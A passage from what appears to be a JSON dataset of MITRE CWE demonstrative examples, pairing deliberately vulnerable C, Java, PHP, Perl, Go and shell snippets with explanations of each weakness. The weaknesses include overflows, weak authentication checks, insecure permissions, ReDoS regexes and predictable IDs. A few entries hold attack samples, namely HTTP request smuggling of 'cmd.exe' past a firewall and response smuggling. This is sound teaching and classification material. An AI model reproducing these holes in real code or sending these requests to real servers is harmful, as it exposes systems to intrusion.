    "POST /page.asp HTTP/1.1Host: www.website.comConnection: Keep-AliveContent-Length: 49223\nzzz...zzz [\"z\" x 49152]POST /page.asp HTTP/1.0Connection: Keep-AliveContent-Length: 30\nPOST /page.asp HTTP/1.0Bla: POST /page.asp?cmd.exe HTTP/1.0Connection: Keep-Alive"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-444",
  "example_id": "2",
  "explanation": "In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system.When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of \"z\" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.Note that there is no CRLF after the \"Bla: \" header so the POST in the line is parsed as the value of the \"Bla:\" header. Although the line contains the pattern identified with a worm (\"cmd.exe\"), it is not blocked, since it is considered part of a header value. Therefore, \"cmd.exe\" is smuggled through the firewall.When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected \"Content-Type: application/x-www-form-urlencoded\" header, and starts parsing the second request.This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the \"Bla:\" header. And unlike the firewall, the web server processes the final POST as a separate third request and the \"cmd.exe\" worm is smuggled through the firewall to the web server.To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack."
}
{
  "source": [
    "HTTP/1.1 200 OK\n\t\tDate: Fri, 08 Aug 2016 08:12:31 GMT\n\t\tServer: Apache (Unix)\n\t\tConnection: Keep-Alive\n\t\tContent-Encoding: gzip\n\t\tContent-Type: text/html\nContent-Length : 2345\n\t\tTransfer-Encoding: chunked\nSet-Cookie : token=\"Malicious Code\"\n\n\t\t<HTML> ... \"Malicious Code\""
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-444",
  "example_id": "3",
  "explanation": "The interpretation of HTTP responses can be manipulated if response headers include a space between the header name and colon, or if HTTP 1.1 headers are sent through a proxy configured for HTTP 1.0, allowing for HTTP response smuggling. This can be exploited in web browsers and other applications when used in combination with various proxy servers. For instance, the HTTP response interpreted by the front-end/client HTTP agent/entity - in this case the web browser - can interpret a single response from an adversary-compromised web server as being two responses from two different web sites. In the Example below, notice the extra space after the Content-Length and Set-Cookie headers."
}
{
  "source": [
    "$role = $_COOKIES['role'];if (!$role) {$role = getRole('user');if ($role) {// save the cookie to send out in future responsessetcookie(\"role\", $role, time()+60*60*2);}else{ShowLoginScreen();die(\"\\n\");}}if ($role == 'Reader') {DisplayMedicalHistory($_POST['patient_ID']);}else{die(\"You are not Authorized to view this record\\n\");}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-863",
  "example_id": "1",
  "explanation": "The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the \"role\" cookie to the value \"Reader\". As a result, the $role variable is \"Reader\", and getRole() is never invoked. The attacker has bypassed the authorization system."
}
{
  "source": [
    "img_t table_ptr; /*struct containing img data, 10kB each*/int num_imgs;...num_imgs = get_num_imgs();table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-682",
  "example_id": "1",
  "explanation": "The following image processing code allocates a table for images.This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119)."
}
{
  "source": [
    "...int touchdowns = team.getTouchdowns();int yardsGained = team.getTotalYardage();System.out.println(team.getName() + \" averages \" + yardsGained / touchdowns + \"yards gained for every touchdown scored\");..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-682",
  "example_id": "2",
  "explanation": "This code attempts to calculate a football team's average number of yards gained per touchdown.The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly."
}
{
  "source": [
    "int *p = x;char * second_char = (char *)(p + 1);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-682",
  "example_id": "3",
  "explanation": "This example attempts to calculate the position of the second byte of a pointer.In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment."
}
{
  "source": [
    "int i;unsigned int numWidgets;Widget **WidgetList;\nnumWidgets = GetUntrustedSizeValue();if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {ExitError(\"Incorrect number of widgets requested!\");}WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));printf(\"WidgetList ptr=%p\\n\", WidgetList);for(i=0; i<numWidgets; i++) {WidgetList[i] = InitializeWidget();}WidgetList[numWidgets] = NULL;showWidgets(WidgetList);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-131",
  "example_id": "1",
  "explanation": "The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption."
}
{
  "source": [
    "img_t table_ptr; /*struct containing img data, 10kB each*/int num_imgs;...num_imgs = get_num_imgs();table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-131",
  "example_id": "2",
  "explanation": "The following image processing code allocates a table for images.This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119)."
}
{
  "source": [
    "char * copy_input(char *user_supplied_string){\nint i, dst_index;char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);if ( MAX_SIZE <= strlen(user_supplied_string) ){die(\"user string too long, die evil hacker!\");}dst_index = 0;for ( i = 0; i < strlen(user_supplied_string); i++ ){\nif( '&' == user_supplied_string[i] ){dst_buf[dst_index++] = '&';dst_buf[dst_index++] = 'a';dst_buf[dst_index++] = 'm';dst_buf[dst_index++] = 'p';dst_buf[dst_index++] = ';';}else if ('<' == user_supplied_string[i] ){\n\n\n/* encode to &lt; */\n\n\n}else dst_buf[dst_index++] = user_supplied_string[i];\n}return dst_buf;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-131",
  "example_id": "3",
  "explanation": "This example applies an encoding procedure to an input string and stores it into a buffer.The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands."
}
{
  "source": [
    "DataPacket *packet;int numHeaders;PacketHeader *headers;\nsock=AcceptSocketConnection();ReadPacket(packet, sock);numHeaders =packet->headers;\nif (numHeaders > 100) {ExitError(\"too many headers!\");}headers = malloc(numHeaders * sizeof(PacketHeader);ParsePacketHeaders(packet, headers);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-131",
  "example_id": "4",
  "explanation": "The following code is intended to read an incoming packet from a socket and extract one or more headers.The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow."
}
{
  "source": [
    "int *id_sequence;\n\n/* Allocate space for an array of three ids. */\n\n\nid_sequence = (int*) malloc(3);if (id_sequence == NULL) exit(1);\n\n/* Populate the id array. */\n\n\nid_sequence[0] = 13579;id_sequence[1] = 24680;id_sequence[2] = 97531;"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-131",
  "example_id": "5",
  "explanation": "The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2].The malloc() call could have used '3*sizeof(int)' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints."
}
{
  "source": [
    "public class Truck {\nprivate String make;private String model;private int year;\npublic boolean equals(Object o) {\nif (o == null) return false;if (o == this) return true;if (!(o instanceof Truck)) return false;\nTruck t = (Truck) o;\nreturn (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));\n}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-697",
  "example_id": "1",
  "explanation": "Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included."
}
{
  "source": [
    "/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */ \n\nchar *username = \"admin\";char *pass = \"password\";\nint AuthenticateUser(char *inUser, char *inPass) {if (strncmp(username, inUser, strlen(inUser))) {logEvent(\"Auth failure of username using strlen of inUser\");return(AUTH_FAIL);}if (! strncmp(pass, inPass, strlen(inPass))) {logEvent(\"Auth success of password using strlen of inUser\");return(AUTH_SUCCESS);}else {logEvent(\"Auth fail of password using sizeof\");return(AUTH_FAIL);}}\nint main (int argc, char **argv) {\n                     int authResult;if (argc < 3) {ExitError(\"Usage: Provide a username and password\");}authResult = AuthenticateUser(argv[1], argv[2]);if (authResult == AUTH_SUCCESS) {DoAuthenticatedTask(argv[1]);}else {ExitError(\"Authentication failed\");}}",
    "ppapaspass"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-697",
  "example_id": "2",
  "explanation": "This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.As a result, this partial comparison leads to improper authentication (CWE-287). Any of these passwords would still cause authentication to succeed for the \"admin\" user:This significantly reduces the search space for an attacker, making brute force attacks more feasible.The same problem also applies to the username, so values such as \"a\" and \"adm\" will succeed for the username.While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness."
}
{
  "source": [
    "int i = (int) 33457.8f;"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-681",
  "example_id": "1",
  "explanation": "In the following Java example, a float literal is cast to an integer, thus causing a loss of precision."
}
{
  "source": [
    "$floatVal = 1.8345;$intVal = 3;$result = (int)$floatVal + $intVal;"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-681",
  "example_id": "2",
  "explanation": "This code adds a float and an integer together, casting the result to an integer.Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences."
}
{
  "source": [
    "unsigned int readdata () {int amount = 0;...if (result == ERROR)amount = -1;...return amount;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-681",
  "example_id": "3",
  "explanation": "In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers."
}
{
  "source": [
    "unsigned int readdata () {int amount = 0;...amount = accessmainframe();...return amount;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-681",
  "example_id": "4",
  "explanation": "In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers."
}
{
  "source": [
    "#define OUTFILE \"hello.out\"\numask(0);FILE *out;\n/* Ignore link following (CWE-59) for brevity */ \n\nout = fopen(OUTFILE, \"w\");if (out) {fprintf(out, \"hello world!\\n\");fclose(out);}",
    "-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-732",
  "example_id": "1",
  "explanation": "The following code sets the umask of the process to 0 before creating a file and writing \"Hello world\" into the file.After running this program on a UNIX system, running the \"ls -l\" command might return the following output:The \"rw-rw-rw-\" string indicates that the owner, group, and world (all users) can read the file and write to it."
}
{
  "source": [
    "function createUserDir($username){$path = '/home/'.$username;if(!mkdir($path)){return false;}if(!chown($path,$username)){rmdir($path);return false;}return true;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-732",
  "example_id": "2",
  "explanation": "This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.Because the optional \"mode\" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username."
}
{
  "source": [
    "$fileName = \"secretFile.out\";\nif (-e $fileName) {chmod 0777, $fileName;}\nmy $outFH;if (! open($outFH, \">>$fileName\")) {ExitError(\"Couldn't append to $fileName: $!\");}my $dateString = FormatCurrentTime();my $status = IsHostAlive(\"cwe.mitre.org\");print $outFH \"$dateString cwe status: $status!\\n\";close($outFH);",
    "-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out",
    "-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-732",
  "example_id": "3",
  "explanation": "The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated."
}
{
  "source": [
    "const adminFile = \"/etc/admin-users\"\n                  func createAdminFileIfNotExists() error {\n                     \n                        file, err := os.Create(adminFile)\n                        if err != nil {\n\n                           return err\n                        \n                        }\n                        return nil\n                  }\n\n\n                  func changeModeOfAdminFile() error {\n                     \n                        fileMode := os.FileMode(0440)\n                        if err := os.Chmod(adminFile, fileMode); err != nil {\n\n                           return err\n                        \n                        }\n                        return nil\n                  }"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Go"
    }
  ],
  "cwe_id": "CWE-732",
  "example_id": "4",
  "explanation": "This program creates and reads from an admin file to determine privilege information.If the admin file doesn't exist, the program will create one. In order to create the file, the program must have write privileges to write to the file. After the file is created, the permissions need to be changed to read only.os.Create will create a file with 0666 permissions before umask if the specified file does not exist. A typical umask of 0022 would result in the file having 0644 permissions. That is, the file would have world-writable and world-readable permissions.In this scenario, it is advised to use the more customizable method of os.OpenFile with the os.O_WRONLY and os.O_CREATE flags specifying 0640 permissions to create the admin file.This is because on a typical system where the umask is 0022, the perm 0640 applied in os.OpenFile will result in a file of 0620 where only the owner and group can write."
}
{
  "source": [
    "chmod -R ugo+r DIRNAME"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Shell"
    }
  ],
  "cwe_id": "CWE-732",
  "example_id": "5",
  "explanation": "The following command recursively sets world-readable permissions for a directory and all of its children:If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem."
}
{
  "source": [
    "az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true",
    "az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Shell"
    },
    {
      "vul_flag": 0,
      "language": "Shell"
    }
  ],
  "cwe_id": "CWE-732",
  "example_id": "6",
  "explanation": "The following Azure command updates the settings for a storage account:However, \"Allow Blob Public Access\" is set to true, meaning that anonymous/public users can access blobs.The command could be modified to disable \"Allow Blob Public Access\" by setting it to false."
}
{
  "source": [
    "gsutil iam get gs://BUCKET_NAME",
    "{\n\n\t\t  \"bindings\":[{\n\n\t\t    \"members\":[\n\n\t\t      \"projectEditor: PROJECT-ID\",\n\t\t      \"projectOwner: PROJECT-ID\"\n\t\t    \n\t\t    ],\n\t\t    \"role\":\"roles/storage.legacyBucketOwner\"\n\n\t\t  },\n\t\t  {\n\n\t\t    \"members\":[\n\t\t    \n\t\t      \"allUsers\",\n\t\t      \"projectViewer: PROJECT-ID\"\n\t\t      ],\n\t\t      \"role\":\"roles/storage.legacyBucketReader\"\n\n\t\t    }\n\n\t\t  ]\n\n\t\t}",
    "gsutil iam ch -d allUsers gs://BUCKET_NAME\n\t\tgsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(informative) Shell"
    },
    {
      "vul_flag": 1,
      "language": "JSON"
    },
    {
      "vul_flag": 0,
      "language": "Shell"
    }
  ],
  "cwe_id": "CWE-732",
  "example_id": "7",
  "explanation": "The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':Suppose the command returns the following result:This result includes the \"allUsers\" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if \"allAuthenticatedUsers\" was present.The command could be modified to remove \"allUsers\" and/or \"allAuthenticatedUsers\" as follows:"
}
{
  "source": [
    "var test_string = \"Bad characters: $@#\";\n               var bad_pattern  = /^(\\w+\\s?)*$/i;\n               var result = test_string.search(bad_pattern);",
    "var test_string = \"Bad characters: $@#\";\n               var good_pattern  = /^((?=(\\w+))\\2\\s?)*$/i;\n               var result = test_string.search(good_pattern);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "JavaScript"
    },
    {
      "vul_flag": 0,
      "language": "JavaScript"
    }
  ],
  "cwe_id": "CWE-407",
  "example_id": "1",
  "explanation": "This example attempts to check if an input string is a \"sentence\" [REF-1164]. The regular expression has a vulnerable backtracking clause inside (\\w+\\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.\nTo fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \\2 which prevents the backtracking. The modified example is:Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx."
}
{
  "source": [
    "var test_string = \"Bad characters: $@#\";\n                        var bad_pattern  = /^(\\w+\\s?)*$/i;\n                        var result = test_string.search(bad_pattern);",
    "var test_string = \"Bad characters: $@#\";\n                        var good_pattern  = /^((?=(\\w+))\\2\\s?)*$/i;\n                        var result = test_string.search(good_pattern);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "JavaScript"
    },
    {
      "vul_flag": 0,
      "language": "JavaScript"
    }
  ],
  "cwe_id": "CWE-1333",
  "example_id": "1",
  "explanation": "This example attempts to check if an input string is a \"sentence\" [REF-1164]. The regular expression has a vulnerable backtracking clause inside (\\w+\\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.\nTo fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \\2 which prevents the backtracking. The modified example is:Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx."
}
{
  "source": [
    "my $test_string = \"Bad characters: \\$\\@\\#\";\n                        my $bdrslt = $test_string;\n                        $bdrslt =~ /^(\\w+\\s?)*$/i;",
    "my $test_string = \"Bad characters: \\$\\@\\#\";\n                        my $gdrslt = $test_string;\n                         $gdrslt =~ /^((?=(\\w+))\\2\\s?)*$/i;"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-1333",
  "example_id": "2",
  "explanation": "This example attempts to check if an input string is a \"sentence\" and is modified for Perl [REF-1164]. The regular expression has a vulnerable backtracking clause inside (\\w+\\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.\nTo fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \\2 which prevents the backtracking. The modified example is:Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx."
}
{
  "source": [
    "logger.info(\"Username: \" + usernme + \", CCN: \" + ccn);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-532",
  "example_id": "1",
  "explanation": "In the following code snippet, a user's full name and credit card number are written to a log file."
}
{
  "source": [
    "locationClient = new LocationClient(this, this, this);locationClient.connect();currentUser.setLocation(locationClient.getLastLocation());\n...\n\ncatch (Exception e) {AlertDialog.Builder builder = new AlertDialog.Builder(this);builder.setMessage(\"Sorry, this application has experienced an error.\");AlertDialog alert = builder.create();alert.show();Log.e(\"ExampleActivity\", \"Caught exception: \" + e + \" While on User:\" + User.toString());}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-532",
  "example_id": "2",
  "explanation": "This code stores location information about the current user:When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log."
}
{
  "source": [
    "public BankAccount getUserBankAccount(String username, String accountNumber) {\nBankAccount userAccount = null;String query = null;try {if (isAuthorizedUser(username)) {query = \"SELECT * FROM accounts WHERE owner = \"+ username + \" AND accountID = \" + accountNumber;DatabaseManager dbManager = new DatabaseManager();Connection conn = dbManager.getConnection();Statement stmt = conn.createStatement();ResultSet queryResult = stmt.executeQuery(query);userAccount = (BankAccount)queryResult.getObject(accountNumber);}} catch (SQLException ex) {String logMessage = \"Unable to retrieve account information from database,\\nquery: \" + query;Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);}return userAccount;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-532",
  "example_id": "3",
  "explanation": "In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database."
}
{
  "source": [
    "function generateSessionID($userID){srand($userID);return rand();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-331",
  "example_id": "1",
  "explanation": "This code generates a unique random identifier for a user's session.Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.This example also exhibits a Small Seed Space (CWE-339)."
}
{
  "source": [
    "String GenerateReceiptURL(String baseUrl) {Random ranGen = new Random();ranGen.setSeed((new Date()).getTime());return(baseUrl + ranGen.nextInt(400000000) + \".html\");}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-331",
  "example_id": "2",
  "explanation": "The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.This code uses the Random.nextInt() function to generate \"unique\" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG."
}
{
  "source": [
    "<web-app>\n[...snipped...]\n<session-config><session-timeout>-1</session-timeout></session-config>\n</web-app>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-613",
  "example_id": "1",
  "explanation": "The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-345",
  "example_id": "1",
  "explanation": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors did not sign firmware images."
}
{
  "source": [
    "$user = $_GET['user'];$pass = $_GET['pass'];$checkpass = $_GET['checkpass'];if ($pass == $checkpass) {SetUserPassword($user, $pass);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-522",
  "example_id": "1",
  "explanation": "This code changes a user's password.While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account."
}
{
  "source": [
    "...Properties prop = new Properties();prop.load(new FileInputStream(\"config.properties\"));String password = prop.getProperty(\"password\");DriverManager.getConnection(url, usr, password);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-522",
  "example_id": "2",
  "explanation": "The following code reads a password from a properties file and uses the password to connect to a database.This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system."
}
{
  "source": [
    "...String password = regKey.GetValue(passKey).toString();NetworkCredential netCred = new NetworkCredential(username,password,domain);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-522",
  "example_id": "3",
  "explanation": "The following code reads a password from the registry and uses the password to create a new network credential.This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system"
}
{
  "source": [
    "int VerifyAdmin(char *password) {if (strcmp(compress(password), compressed_password)) {printf(\"Incorrect Password!\\n\");return(0);}printf(\"Entering Diagnostic Mode...\\n\");return(1);}",
    "int VerifyAdmin(String password) {if (passwd.Equals(compress(password), compressed_password)) {return(0);}\n//Diagnostic Mode\nreturn(1);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-522",
  "example_id": "4",
  "explanation": "Both of these examples verify a password by comparing it to a stored compressed version.Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database."
}
{
  "source": [
    "# Java Web App ResourceBundle properties file\n...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...",
    "...<connectionStrings><add name=\"ud_DEV\" connectionString=\"connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;\" providerName=\"System.Data.Odbc\" /></connectionStrings>..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "ASP.NET"
    }
  ],
  "cwe_id": "CWE-522",
  "example_id": "5",
  "explanation": "The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.This Java example shows a properties file with a cleartext username / password pair.The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-522",
